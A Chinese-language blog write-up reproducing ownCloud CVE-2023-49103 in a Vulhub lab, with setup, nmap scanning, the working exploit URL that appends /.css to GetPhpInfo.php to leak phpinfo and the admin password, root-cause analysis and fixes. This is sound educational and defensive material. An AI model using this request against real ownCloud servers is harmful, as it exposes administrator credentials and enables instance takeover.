1334 字
7 分钟
ownCloud 信息泄露漏洞(CVE-2023-49103)复现

CVE-2023-49103 是 ownCloud GraphAPI 插件的未授权信息泄露漏洞,CVSS 10.0。插件把第三方依赖库(microsoft-graph SDK)中的调试文件 GetPhpInfo.php 随应用一同部署到生产环境;攻击者利用 Apache 的 PathInfo 特性,在请求路径末尾附加静态资源后缀(如 /.css)绕过 ownCloud 的 URL 重写规则,直接访问该文件并触发 phpinfo() 输出。phpinfo 会输出全部服务器环境变量,容器化部署中包含管理员账号密码等敏感凭据,可导致完全接管 ownCloud 实例。

复现基于 Vulhub 的 owncloud/CVE-2023-49103 靶场(ownCloud 10.12.1),覆盖指纹识别、漏洞验证、凭据泄露三个阶段,并拆解 PathInfo 绕过的成因。

漏洞基础信息#

漏洞编号CVSS 评分影响版本漏洞类型
CVE-2023-4910310.0graphapi 0.2.x(<0.2.1)、0.3.x(<0.3.1);graphapi 预装于 ownCloud Server 10.6 起,Server < 10.13.3 均受影响未授权敏感信息泄露

漏洞复现#

复现环境准备#

使用 Vulhub 快速搭建漏洞环境:

Terminal window
┌──(kali㉿kali)-[~]
└─$ apt install docker.io docker-compose # 安装 Docker 和 docker-compose
└─$ git clone https://github.com/vulhub/vulhub.git # 将 Vulhub 项目克隆到本地
└─$ git pull origin master # 若无 owncloud 目录,手动更新仓库
└─$ cd vulhub/owncloud/CVE-2023-49103
└─$ docker-compose up -d # 拉取镜像并启动容器
└─$ docker ps # 确认容器启动状态
9f15fafcf802 vulhub/owncloud:10.12.1 "/usr/bin/entrypoint…" 7 minutes ago Up 7 minutes 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp cve-2023-49103-owncloud-1

端口扫描与服务识别#

Terminal window
┌──(kali㉿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script "default,vulners" 192.168.31.148
# 扫描结果
PORT STATE SERVICE VERSION
8080/tcp open http Apache httpd
| http-robots.txt: 1 disallowed entry
|_/
|_http-open-proxy: Proxy might be redirecting requests
|_http-trane-info: Problem with XML parsing of /evox/about
| http-title: ownCloud
|_Requested resource was http://192.168.31.148:8080/login
|_http-server-header: Apache
MAC Address: 00:0C:29:B3:23:74 (VMware)

扫描结果显示端口 8080 开放,http-title 标注为 ownCloud,目标运行 ownCloud 服务,访问根目录被重定向到 /login。这是正常现象,漏洞路径不需要登录。

nmap 的默认脚本只扫出了 robots.txt 和 login 页面。CVE-2023-49103 隐藏在 vendor 目录下,属于第三方库(Microsoft Graph SDK)带进来的测试文件,一般的扫描器如果不使用特定指纹字典,很难发现这个深层路径。

漏洞验证#

先验证漏洞文件能否直接访问。在 Kali 终端执行以下 curl 命令,观察 HTTP 状态码:

Terminal window
┌──(kali㉿kali)-[~]
└─$ curl -I http://192.168.31.148:8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php
HTTP/1.1 302 Found
...(其余响应头省略)
Location: http://192.168.31.148:8080/login
Content-Type: text/html; charset=UTF-8

直接访问被重定向到登录页面;已修复的实例会返回 403/404。这里返回 302,是因为 ownCloud 通过 .htaccess 默认启用了严格的 URL 重写规则,所有对 PHP 文件的直接请求都会被重定向到前端控制器,阻止了对内部调试文件的访问。

漏洞利用#

重写规则对以静态资源扩展名(.css、.js、.png 等)结尾的请求不做重写。攻击者利用这一点,在目标 PHP 文件路径后附加一个“假”的静态扩展名(如 /.css),使 Apache 将其当作静态资源请求,绕过重写规则,直接执行该 PHP 文件。

在浏览器直接访问 http://192.168.31.148:8080/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php/.css,即可看到 phpinfo() 输出页面:

phpinfo 输出页面,Environment 段中可见 OWNCLOUD_ADMIN_PASSWORD 环境变量

在页面中搜索 OWNCLOUD_ 或 Environment 可以快速定位敏感凭据。本靶机的环境变量由 Vulhub 的 docker-compose.yml 注入,OWNCLOUD_ADMIN_PASSWORD 的值为 secret123;生产环境中这一行是真实的管理员密码,此外还可能包含邮件服务器凭据、许可证密钥等。

注意:此绕过手法依赖于 Apache + mod_php + PathInfo 支持 的环境,如果使用 Nginx 或 PHP-FPM,则此绕过方式可能无效。

漏洞核心原理#

GraphAPI 插件通过 Composer 引入第三方依赖 microsoft-graph SDK,SDK 的 tests 目录中包含调试文件 GetPhpInfo.php,内容就是一句 phpinfo()。插件打包时未排除测试文件,该文件随应用一同部署到生产环境的 apps/graphapi/vendor/ 目录下,这就是漏洞的源头。

文件虽然部署了,直接访问却会被 ownCloud 的 .htaccess 重写规则拦截:所有 PHP 请求都被重写到前端控制器,这就是直接访问返回 302 的原因。但重写规则对以静态资源扩展名(.css、.js、.png 等)结尾的请求放行,不做重写。攻击者在路径末尾附加 /.css 后,URL 以静态扩展名结尾,重写规则不再匹配。

真正让文件执行起来的是 Apache 的 PathInfo 特性:对 /GetPhpInfo.php/.css 这样的请求,Apache + mod_php 把 /.css 当作 PATH_INFO,仍然执行 GetPhpInfo.php 本身。phpinfo() 随即输出全部 PHP 环境信息,其中 Environment 段包含 Web 服务器进程的全部环境变量。容器化部署中,ownCloud 的管理员账号密码、邮件服务器凭据、许可证密钥都通过环境变量注入,因此全部出现在输出中。

官方公告还明确:仅禁用 graphapi 应用不能消除漏洞,文件位于 vendor 目录,不随应用禁用而移除,仍可被直接访问。

修复方案#

  • 升级 graphapi 至 0.2.1 或 0.3.1(按当前版本线);graphapi 预装于 ownCloud Server,升级 Server 至 10.13.3 及以上同样完成修复。
  • 临时缓解:删除 apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php 文件;在 PHP 配置中将 phpinfo 加入 disable_functions。
  • 仅禁用 graphapi 应用无效(见上文原理)。

该漏洞已列入 CISA KEV 目录,存在在野利用,受影响实例应尽快处置。

参考链接#

ownCloud 信息泄露漏洞(CVE-2023-49103)复现
https://blog.mal-suen.cn/posts/2024/08/1720/
作者
Malcolm
发布于
2024-08-17
许可协议
CC BY-NC-SA 4.0